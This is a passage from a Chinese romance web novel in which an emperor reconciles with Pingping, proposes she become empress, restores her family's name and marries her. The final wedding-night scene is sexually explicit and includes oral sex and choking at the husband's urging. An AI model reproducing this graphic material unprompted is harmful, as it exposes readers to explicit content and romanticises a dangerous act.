他正迷茫着，忽觉背上一重，萍萍终于把脑袋搁到他身上，柳湛瞬间阴转晴，一会觉得萍萍那下巴搁着他的骨头可真舒服，一会觉得背上变轻了，一会又重，他反背的两只胳膊暗中收了收，将她再护好些。 他甚至开始情不自禁幻想背上的萍萍白了发，变成老婆婆，自己也成鹤发老翁，然后就这样一直背到白头。 柳湛脚步轻快，又一步步极稳。 比起前些日子，萍萍敏感了些，这回竟觉出柳湛的欣喜，她泛起笑意，现出两个酒窝。 柳湛频频扭头，想瞧背上却总瞧不着，发丝扫到了萍萍也不自知。她吸了吸鼻子，再忍不住要打喷嚏了：“陛下的头发扫到我了。” “对不起。”柳湛忙赔礼。 少顷，萍萍小声道：“陛下不用和我说对不起。” 柳湛笑意更甚。 “陛下。” “嗯？” “辛苦了。” 柳湛终于忍不住轻轻笑出声，她声音真好听呀，叮咚的泉水一样。 …… 走出泥地后三日，一行人抵达兴元府驿馆。 柳湛神秘兮兮，非要邀她听琴。 水榭中架起七弦，池塘上莲叶接天，蜻蜓乱飞，萍萍看他掀袍坐端正，抬起双手，心想：不会又是《松入风》吧？ 是也行，反正他弹得好听，而好听的曲子会带给人好心情。 她转念就想通，微笑望他。 柳湛一挥手，便叮叮咚咚，好生愉快。萍萍仿佛置身上元的灯会，张灯结彩，欢天喜地。 曲子听到一半，她就已经从微笑变成笑眯眯，情不自禁跟着拍子点头，甚至想跳一跳。 一曲终了，萍萍禁不住问：“这是什么曲子？” “这是我专门为你谱的曲子。”柳湛含笑凝睇。 萍萍也是学过几天琴的，晓得这曲牌是《好事近》。 她眨眼，抿唇，唇角微翘。 柳湛笑道：“今日七夕，这首曲子是我送你的第一件礼物。” 今日七月初七？ 萍萍完全过忘记日子了！ “还有第二件。”他说着探向左手袖袋，萍萍忙打断：“可是我没有为陛下准备礼物。” “不要紧。”柳湛觉得该说的还是要说，“只要你在我身边就胜过所有礼物。” 这不是和好后第1回 听他甜言蜜语，却是头回萍萍听见后，心里淌过暖意。 柳湛掏出一物，走到萍萍身边双手递出。她连忙接了瞧，是枚平安符——照着她送柳湛那枚绣的，但多绣了一圈同心纹，更精致巧思。 柳湛道：“我给你也绣了一个，但是针脚不好，不要笑话。” 萍萍还在想那句胜过所有礼物，她突然想让他知道，双方的付出都是能被看见并给予肯定的，不管多么微小的事情。 萍萍仔细将平安符系在身上，而后锁住柳湛双目：“我也会尽快补给陛下一份礼物。” 她顿了顿：“一定。” 还情吗？ 柳湛望着她想。 一时拿不准她是回应，还是人情客套。 这两样差别可太大了。 萍萍想送到他心坎上，于是询问：“陛下想要什么样的礼物？” 问别人想要什么礼物，更偏向偿还人情。柳湛微垂眼皮，藏住眸中黯淡：“再绣一个平安符也行，我一起挂着。” 萍萍看向柳湛腰间，假想了下，挂两个不大好看：“两个都要挂出来吗？” “要，”柳湛坚定，“只要是你绣的，我都挂着。” 萍萍眉蹙得更狠，片刻，反问：“我绣十个你挂十个吗？” “挂啊！” 萍萍想象下那场景，不禁大笑出声，不仅露出皓齿，还重现了酒窝。 柳湛恍觉那酒窝是她脉脉杏眼里溅出的笑意凝成，这笑还同时飞溅进他心口里。 他想抬手抚她脸颊，触一触那酒窝，看是不是像铁花、烟火，星辰，一切飞溅的东西那样滚烫。 柳湛无形摁住自己的手，先询问：“我可 以摸一摸你的脸吗？” 第118章 第一百一十八章 交心 萍萍正笑着， 突然听见这个请求，十分意外，不由愣住。 但她并不反感， 又笑了一声：“好啊。” 柳湛缓缓抬手， 指尖一点点探向萍萍酒窝， 心竟像少年时那样剧烈鼓动，却又不全似少年心境，千回百转， 多数分沧桑。 萍萍脸颊热乎， 柳湛指腹微凉，触及那一霎她笑道：“你手还挺冰的。” 消暑降温， 刚刚好。 柳湛闻言指腹在她脸上缓缓摩挲，为她带走热气。他翘着嘴角，跟自己也能笑出酒窝似的。 过了会，突然想起一事，急问：“我手糙，有没有弄疼你？” 萍萍摇头，他的手始终粘在她脸上， 随之移动。 她挑眼皮：“摸都摸了， 还说这样的话。” 柳湛低头微笑。 少顷， 他改摸为捧， 两只掌都贴在她脸颊上，一眨不眨，仔细端详。 萍萍起先几分无措， 四处乱看，随后就想扭捏什么？也大大方方同柳湛对视。柳湛手不动，目光不挪， 脑袋却越凑越近。 二人的呼吸皆扑在对方脸上。 一声声，愈来愈粗重。 眼看鼻尖就要抵上鼻尖，萍萍脸红：“光天化日的。” 她呼的气掠过柳湛双唇，他觉得香香的，浸人心脾。柳湛左手后挪扣住萍萍后脑勺，右手遮面就吻了上去，正对着封住她的双唇。纵然只有荷花蜻蜓，也不许偷看。 柳湛闭眼扭头，鼻尖稍微错开，额头却又抵上萍萍额头。二人皆情不自禁微分双唇，四瓣交错，柳湛指腹往前移，拇指正扶在她的酒窝上，就着分开的唇，一点点挑起她的上唇轻啄，从一侧唇角到另一侧唇角，本来还想这样啄她的下唇，忍不了了，狠狠吮吸起来。 蜻蜓在池上乱飞，盘根错节的莲叶中一朵红莲亭亭玉立，花瓣似她被吮得红透欲滴，罩满水汽的唇。 …… 萍萍最后送给柳湛的七夕礼物是一把折扇。 怎么是扇子？柳湛揣测，但不敢问。 萍萍送扇其实有出典故。 大伙一路赶回东京，沿途没有闲逛，那她也不能做出为了挑礼物，在某一城某一处逛街耽误赶路的事。于是找馆吏讨笔墨颜料，打算画幅画，题句诗送给柳湛。 馆吏却道，馆中正好有一批未画的扇面，送她一把，题在扇上，岂不更郑重？ 萍萍不在柳湛面前提这些，只笑问：“车里就一把扇子，多添一把，不为过吧？” “不为过，不为过。”柳湛慢答。 “你展开瞧瞧呢。”她笑。 柳湛缓缓打开折扇，才半扇就瞧见数枚碧叶，一根长枝，写意一枝柳。 他笑愈深。 但见还有题字，眼下折着，仅露一个“妾”字。柳湛一点点接下往下展，逐渐多出“意”、“柳”二字。他猜一猜，心中默道：妾意——柳枝长。 话音落地，扇面全摊开，后面果然是“枝”与“长”，与猜想不谋而合。 妾意柳枝长。 柳湛悄笑，唇角高挂，怎么也撇不下来。 他看她指间有一缕极浅淡的，洗过但没完全洗掉的辰砂。 应该是画画时不慎沾到手上。 但柳叶青青，几时会用朱红辰砂？ 她还画了别的东西？ 给谁画的？画了什么？ 别人也有？ 柳湛忍不住想猜测，甚至窥探、查证，抿唇滑了下喉头，努力抑下这些念头——有时候她想做的事情，他不应该过多干涉。 手腕一翻，微扇凉风，这就用起来，轻柔的声音随风飘荡：“我很喜欢。” 礼物被喜欢，萍萍也高兴得笑。她早忘了手上的颜料——那是扇面画起兴了，觉得不过瘾，又随便在纸上勾勒两幅，手挨着画，一不小心蹭到。 翌日，柳湛送萍萍一只金镯，中间宽逐渐向两头收细，状若柳叶，世人又称柳叶镯。 他说是昨日的还礼，抓了萍萍的手，小心翼翼往她腕上套，刚好是她的尺寸。 萍萍人定着，瞅那镯子，心想虽然“来而不往非礼也”，但……她挑眼看向柳湛：“这样你送我，我送你，你再送我，没完没了了！” 赶紧打住！ 柳湛却听得耸肩一笑，乐不可支：她说没完没了，她要跟他没完没了，好啊好啊，求之不得。 似那柳叶轻轻拨动他的心尖。 车仍往东行，轱辘转动发出声响，车厢微颠，柳湛给她沏了龙凤团饼，细细撇沫，她往窗外瞧去，见一座八层巍峨木塔，台体青砖，颇为庄严，不由扒窗发问：“这到哪了？” 柳湛瞟一眼：“鄢陵。”沏好茶，先递给萍萍饮，“郑伯克段于鄢，便是此处。” “没来过。”萍萍嘀咕，呷了口茶。 柳湛原本已执起自己那盏，闻言重新放下，凝睇着萍萍问：“以后还想周游四海吗？” 萍萍想了想，目光从窗外收回，投到柳湛脸上：“我要说想呢？” 他毫不犹豫接口：“陪你海角天涯。” 萍萍反倒深吸口气，耸肩。 柳湛顿生惶恐，抿唇镇定神色。 萍萍瘪嘴：“这是你真心所愿吗？” 总觉得有时候他在刻意迎合她的心思，天子不应该这样畏畏缩缩，当盎然自若。 她假装扭头不理他，柳湛慌了，伸手抓她手臂——他只是害怕她离开，很害怕。 萍萍另一只胳膊抬起，掌心覆在柳湛手背上：“我想听听你的想法。” 真实的想法。 柳湛沉默良久，低低道：“我当然想和你一起周游，你的每一件事我都想参与，不想错过。” 他再次陷入沉默。 只剩车轱辘和马蹄声。 “但是我可以考察民情，但不能去得太久，太远，耽误国事。”他很艰难地说心里话，“但让你一个人去，我是放心不下，担忧路上遇险，难受你这一生中，又多几件没有我的事。” 柳湛设想了下，神情凝重，“而且我会非常思念你。” 这一次他终于没有红耳根，反而在心底长长吁了口气，都讲出来，舒坦多了。 萍萍抚了抚柳湛手背，这就对了。 他仿佛收到鼓励的小犬，抬起头神采奕奕望着她。 四目相对，萍萍笑道：“你看我们上回从扬州回京，亦是盛夏，就遇到旱灾、苛税，还有劳民修皇陵的。”因为眼前人就是官家，所以她敢讲，扭头眺向窗外，“但这回回京，路上没有遇到一个饿殍，人人有衣穿，吃饱肚，这都是因为陛下坚持刚才那样的想法，心怀社稷，才会天下成平。” 她收回目光，先低头笑望二人手覆手处，继而抬手寻向柳湛脸，对着他的眼睛说话才更肯定：“我也不能拖陛下的后腿，就算周游，也不会去太远，太久的地方。” 人一生哪能逛遍四海九州？总有遗憾。 分清孰轻孰重，便知足。 柳湛右手一翻，反与她手交握。 他大胆一把，五指伸展，和好后第1回 穿过她指缝。见萍萍没有抗拒，他本就剧烈跳动的心蹦得愈频愈高，几为澎湃。 萍萍笑问：“你想听听 我这两年都去了哪些地方吗？” 柳湛一怔。 “我去了襄州谒隆……”她娓娓道来。 柳湛眸光乍亮，心里有个声音呐喊：她跟我分享她经历的事情了！她终于肯分享了！ 萍萍睹见柳湛脸上掩不住的变化，暗暗偷笑：他方才那段话她都记着呢，下面来小小的弥补一点错过。 她讲完襄州就不讲了——因为口渴了，要好好喝茶。 剩下的留到以后他表现好再讲。 萍萍笑眯眯喝茶，柳湛身量高出许多，她一低头，他还想看她的脸就得猫腰躬背，伏低身段。 柳湛找见了她的脸，才问：“是不是渴了？要不要再来点？” 萍萍将空茶盏将往他那边推了些，他就忙不迭添茶。 等萍萍喝完，他才扶额垂首：“其实庆丰十三年，是我第1回 出京，之前哪里都没去过。” 少年前十七年皆拘宫中，一叶障目。 “猜到了。”萍萍轻道，“所以你才会那么笨，什么骗都上，什么刀都挨。” 说完她觉得不该说笨，该用赤子心。 “我现在也愿意为你去死。”柳湛盯着她，一字一句。 她想起崖边瞰江，周正的少年星眸粼粼，腹上缠了纱布，抬手扶上她的脸，唇色虚白，声音坚定：“我愿意为你去死。” 仿佛只在昨日，江风仍真实地刮过耳畔。 “但和十七岁的愿意为你去死不一样。”他仍目不转睛，得了萍萍鼓励，偶尔敢试探着说出点真实想法。 萍萍猜完，明知故问：“怎么不一样？” 柳湛一笑：“现在深思熟虑。” 他万万不敢告诉她，当年挡刀，绝对是十足十的心甘情愿，赤诚无杂念，但到底年少，冲动、脑热。 那是流星绽放的一霎，极尽炙热，不问将来。他想，这兴许就是为什么后来会忘了她。 但现在不同了，千回百转，红尘几番来回，才是真正的坚定。 倘若现在再喝那忘情酒，定不会忘了。 但他才不会再喝，他要和她顺顺利利，无磕无碰到白头。 “那再过几十年，你会不会又觉得现在也不够深思熟虑？”萍萍突然发问。 “郎君，到驿馆了。”车厢外随侍奏报。 片刻，柳湛翘嘴角，答萍萍：“你说得对。” 说罢躬身凑近，亲了下她的嘴角，接着跳下车扶她。 她这么问说明往后几十年还想和他在一起，怎么不对呢？ 好事，天大的好事！ 柳湛正偷乐，又来一辆马车停驻在他身后。来人将挑起车帘就出声：“陛——郎君？” 来人急忙携夫人下车，跪拜柳湛。而萍萍已被柳湛扶着下车踏地，瞧清来人，欣喜道：“经略相公！” 虽然她跟蒋望回生嫌隙生疏，但子错不及父，萍萍依旧敬仰蒋玄。魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m 【终章】 第119章 第一百一十九章 花好月圆…… 她欢天喜地， 柳湛却不动声色，袖中攥紧右拳。 蒋玄则抬头迅速瞟了眼萍萍，微微颔首， 算是打招呼， 而后便朝柳湛恭敬奏拜：“郎君， 微臣此番是赴京叙职，路过此处，准备到驿馆歇息。” 柳湛淡淡扫了蒋玄身边的妇人一眼， 蒋玄睹见， 恐官家多心，忙解释：“内人七年不曾见小儿， 思念得紧，所以这趟一起来见一面，就只臣夫妻二人赴京。” 妇人亦道：“臣妇见过小儿，就回边关。” 蒋玄的娘子是诰命妇，柳湛呼其封号：“经略相公和护国夫人请起，慈母寸心，舐犊私爱， 乃人之常情。” 蒋玄和妇人对视一眼， 双双松了口气。 柳湛没同蒋玄多言， 客套数句， 就各自回房。 蒋玄这边一关上门，他家娘子就问：“陛下身边那小娘——” 蒋玄立马捂住她嘴巴，等了会， 外头无人听得见了，才点头——正是。 他上回回京时，蒋望回将萍萍领回家中吃饭， 儿子那点心思做父亲的哪能揣摩不出来，回边关就乐呵呵告诉夫人。 夫人亦欣喜，晚上躺床上同蒋玄合计，问清楚女方家门，早日提亲，促成好事。蒋家啊，终于能有后了！ 蒋玄道：“这事我去打听，你不用操心。” 便要安排下事，蒋望回却急修一封书信回边关——蒋音和胆大包天，竟敢给太子下胡僧丸！ 老两口只能先搁下儿子婚事，好在蒋玄安慰夫人：“我看那萍娘子对希颜差点火候，没到答应婚事的地步，正好从长计议。” 夫妻倆先管教女儿，托人将蒋音和押回边关，带在身边受训，又将她许配给手下副将——那是户好人家，家风端正，男方清俊本分，又一身好本领，再磨砺几年，定能封侯拜将。 蒋音和年初生子后，彻底对官家死心，关起门来过自己的小日子，二老这才开始重操心蒋望回。 蒋家常年戍边，未免天家起疑，一般都不打听宫中事，因此消息滞后，这时才晓得在蒋望回带回家前，萍娘子就已经是官家的人了，且她不见了，官家正遍处寻。 二老瞬间欢喜落空，忧心了几日，改打算给蒋望回改说一门世交，这趟回京就是征询儿子态度。 哪料路上遇着官家，还有萍萍，蒋夫人虽已歇了心思，仍忍不住唏嘘：“我看那萍娘子烂漫活泼，刚好和希颜的沉闷互补。这么多年难得有个他看上的，可惜了。” 蒋玄敛笑，肃然叮嘱：“这样的心思，莫要在陛下面前流露半分。” 夫人垂首：“是妾失言。” 蒋玄望着她，边关风霜催人老，自家娘子比京中同龄的贵妇沧桑许多，尤其皮肤不大好。蒋玄越看眼神越温柔，这些年辛苦他的妻子了，到老不得闲，还要为儿女操心。蒋玄伸臂，将蒋夫人揽入怀中：“山穷水复，柳暗花明。咱们可以依葫芦画瓢给希颜找些烂漫、活泼的，没准他也喜欢。” 良久，蒋夫人长叹口气：“只能如此了。” 又道：“眼下最关键的，是说动希颜，主动成亲。” 成了亲就好了。 她当年成亲前也没见过蒋玄，忐忑好奇，甚至有几分抗拒。但在洞房花烛夜，见官人雄姿英发，翩翩若神，那一瞬就只剩下欢喜和娇羞。再后来做过夫妻间最亲密的事，为挚友为亲人为爱侣，生儿育女，再也不可分割。 “他会想通的。”蒋玄的声音自她头顶悠悠传来。 * 同一座驿馆内。 柳湛也有话要对萍萍讲。 他两瓣唇合了又张，张了又合，嗫嗫嚅嚅。萍萍无奈笑问：“是什么话这么烫嘴？” 她一说烫，柳湛心跟着抖了下。 他继续沉默了会，再启唇，仍未开门见山：“我如今是官家。” 柳湛合唇。 萍萍看着他点头：然后呢？ 柳湛攥拳，龙配凤，与官家一生一世一双人的自然是皇后：“你……愿意当皇后吗？” 才一刹不闻萍萍应声，柳湛就急得捉住她手腕：“别跑啊！” 就说忐忑，怕她不答应，怕她以为要缚于笼中。 萍萍瞅着自己那只被柳湛虎口掐住的手腕：“我没说跑。” 她不是已经表明心迹了么？不会去太远的地方周游。 “那你就是愿意了？”柳湛声身俱颤，还能听见自己震耳欲聋的心跳。 萍萍的心也跳得很快，自认为不会对权力着迷，但这一刻仍不能免俗的兴奋。 同时忐忑，母仪二字，曾经是极遥远的事，自己真的能当好一个对得起社稷，辅佐好君王的皇后吗？ “我全力以赴。”萍萍最终这样许诺。 柳湛欢喜不已，捉腕的手往下移，穿过指缝改为十指紧扣：“还有一件事，我想你自己做决定。” “什么？” “我已查得泰水身世，和我母家还有些渊源，她也是荆湖籍贯，是原礼部尚书崔晟的嫡女，其母何氏乃是开封祥符人。当年你祖父是坚定的三大王党，先帝登基后受牵连查抄，泰水才有后来的坎坷。”柳湛稍作停顿，续道，“两年前，我已为崔氏一门平反。” 所有一切，坦诚相告。 想来这是自己父辈做下的孽业，柳湛躬身向萍萍赔罪。 萍萍整个人陷入了漫长的沉寂。 柳湛很担心，牢牢牵着她，关切她，赔罪许久，萍萍眸中才重聚神，反问：“我姓崔？” 柳湛点头。 “我娘叫什么？” “泰水双名宝徽。” 崔宝徽。 萍萍在心中默念数十遍，这是娘亲真正的名字，不是那什么花名。 她还是控制不住落下一滴泪。 柳湛掏出绢帕，为她轻柔擦拭：“册封的诏书上你想用荆湖崔氏的身份，还是用别的？” 他会尊重她，依照她的想法和选择昭告天下。 萍萍昂首：“我当然要叫崔萍！” 事不宜迟，柳湛当日便追封崔宝徽为国夫人，崔晟也一并追封为国伯，何氏为伯夫人。 圣旨从驿馆送出去时，刚好和蒋玄及其夫人擦身而过，蒋玄仅瞥一眼就收回目光，甚至不曾扭头——圣意不可多窥。 他是到叙职那日，秦侍郎主动找他说起“原来萍娘子，不，崔娘子竟真是阿宝姐姐的女儿”，才晓得萍萍的真实身份。 蒋玄分唇，失神一霎，但很快重新镇定。 当日崔尚书不听劝阻，执意结党，终落败。他蒋家手握二十八万重兵，一直遭先帝忌惮，哪能再去救她？ 他要对得起蒋家二百二十三口人，要对得起那二十八万追随卒兵，每一兵身后又是一户人家——他们要死也该死在抵御蛮夷的战场，而不是因为他一救红颜，打为乱臣贼子，同作冤魂。 北面的蛮夷始终虎视眈眈，彼时先帝方登基，国家不能再乱。 大丈夫生于天地，当有舍有得，上忠君王，保家护国。 他命人将自己绑起来，扼 制去寻她的冲动。割舍时他亦肝肠寸断。 但这些年兢兢业业，沧海桑田，再回首，少时的情爱已淡许多，愈发靠后。 如果再来一次，他会做同样抉择。 蒋玄朝秦侍郎颔首微笑：“她在天之灵，若见崔氏封后，亦会感到欣慰。” * 按理封后应该至少准备半年至一年，但当今官家一回京就昭告天下，本月十五封后大典。 文武百官听完宣，错愕一霎，竟都长长松了口气，相视而笑：官家终于立后，后宫终于不再空置！ 那些不能人道，好男风之类的传言顷刻消散。 还好，还好，除了仓促了些，都颇欣慰。 待到十五这日，帝后大婚，百官和命妇们观礼时再次改变看法——这哪里仓促啊？不仅该有的都有，而且是从未有过的隆重。 他们不知道，这场大婚官家已经暗自筹谋、准备了两年。 同牢以前，官家和皇后不能提前见面，柳湛只能听隔墙的礼乐和宣召，听内侍的回报和描绘，在脑海中重现百官对着萍萍一拜再拜的情景。 他许久没有为权力澎湃，在这一刻却无比庆幸坐于至尊，用绝对的权力保她一生福禄。 柳湛在同牢时见到了萍萍，她梳着下垂过耳的博鬓，戴着九龙四凤冠，还贴了面靥，雍容华贵，光彩照人。 柳湛忍不住仰望眼天上的太阳，在他心里比不过萍萍。 同牢，即帝后共食一畜之肉，意味二人今后愿意同甘共苦。 食完还要合卺，瓠剖为二，分盛美酒。萍萍和柳湛饮之前皆瞥向被阳光照得跃金的酒面，不约而同想到了忘情酒，相视一笑，交杯饮尽。 合二为一，永结同心。 礼毕，是夜，官家和皇后进入御幄。 洞房花烛。 按理应上床榻，站在她面前的柳湛却突然转身，蹲下来翻箱倒柜，萍萍不解，禁不住问：“你作甚么？” 柳湛找到那封帝后婚书，明明一尘不染，仍抬手拂拭，而后像捧着什么易碎的珍宝，万分小心放入一只铁箱中，上锁。 铁箱再放进檀木箱，上锁。 再放进一只更大的檀木箱，上机关锁。 最后锁入寝殿的木柜中。 层层保险，锁物锁情锁人心，这辈子谁也偷不走，毁不坏，销不掉婚书！ 做完一系列动作，柳湛才安心地重新走向萍萍。 萍萍起身：“臣妾伺候陛下宽衣。” “我伺候你，我伺候你。”柳湛连说两遍，先帮她摘去凤冠，忍不住道：“重吧？辛苦你了。” “陛下也辛苦。” “不辛苦。”柳湛笑吟吟散开萍萍发髻，拿一把梳子轻柔梳顺，再褪去繁琐的袆衣，等她坐回床上，才摘自己的通天冠，脱绛纱袍。 爬上来，右手一挥，劲风帐落，身往前倾吻上她的唇角，吻她的脖颈、锁骨、肩膀，挨得急密，不厌其烦，不愿错过任何一个角落。 他的唇由凉渐烫，再往下，那帐上的影子一个仰脖，一个垂首，一个浅吟着再往后仰，一个一寸一寸往下。 某地被衔住，触感柔软，萍萍大惊，垂手遮挡，别—— 柳湛笑着将她手扒开，别害羞，让他来给予她欢愉。 他跪着趴低、捧稳、轻吮、舔舐，舌尖打转，卖力讨好之余，不忘偷窥萍萍的脸——不放过她任何表情。 他心甘情愿地奉上自己从前经验以及新学的一切技巧，就是为了能在她脸上捕捉到一星半点的愉悦。 然后瞧见她微扬下巴，分唇，眸色迷离。 得到肯定的柳湛翘起沾满水光的唇，心满意足。 他主动躺下，仰面朝帐顶，手去扶她的腰：“萍萍，来。” 他要彻彻底底地讨好她，让她坐上，但又怕她累，自己不断挺腰，手上依据她的视线游移揣测妻意，拢捻抹挑拨。萍萍本就久旷，又是头回得这样全心全意地服侍，竟不由自主伸直双臂，探向柳湛脖颈。 她只剩下些许眼白，细着嗓子轻唤：“官人……” 柳湛顿时浑身绷紧，谁知道他等这个称呼等了多久？比一切鱼水都刺激，柳湛觉得一股麻意从腰眼一顺脊柱直蹿到脑子。他浑身发烫，激动不已，抓着萍萍两只手助她掐上他的脖颈：“娘子，掐我！” 尽管掐！ 在濒临窒息那一刻他和萍萍同时攀上顶峰，从来没有这样绵长的余韵。良久，柳湛仰看萍萍喘气，抬手圈上萍萍后背，以身作垫让她趴下来。 他在她额头上又亲了一口：“娘子，来世还做夫妻，好吗？” 佛说三世因果，他觉得他和萍萍也算，喝下忘情酒前是第一世，再下江南是第二世，叫她受尽委屈，到第三世他从头来追，再也不会忘记他的萍萍。 “好啊。”萍萍喘着气应声，此时此刻她些许放空，再也不想讲多余的话。 柳湛却拥着她，透过帐纱，瞧见远处一圆溜溜，朦胧光亮，那应该是窗外的月亮。 今日十五，圆满了。 这一生再无遗憾。魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m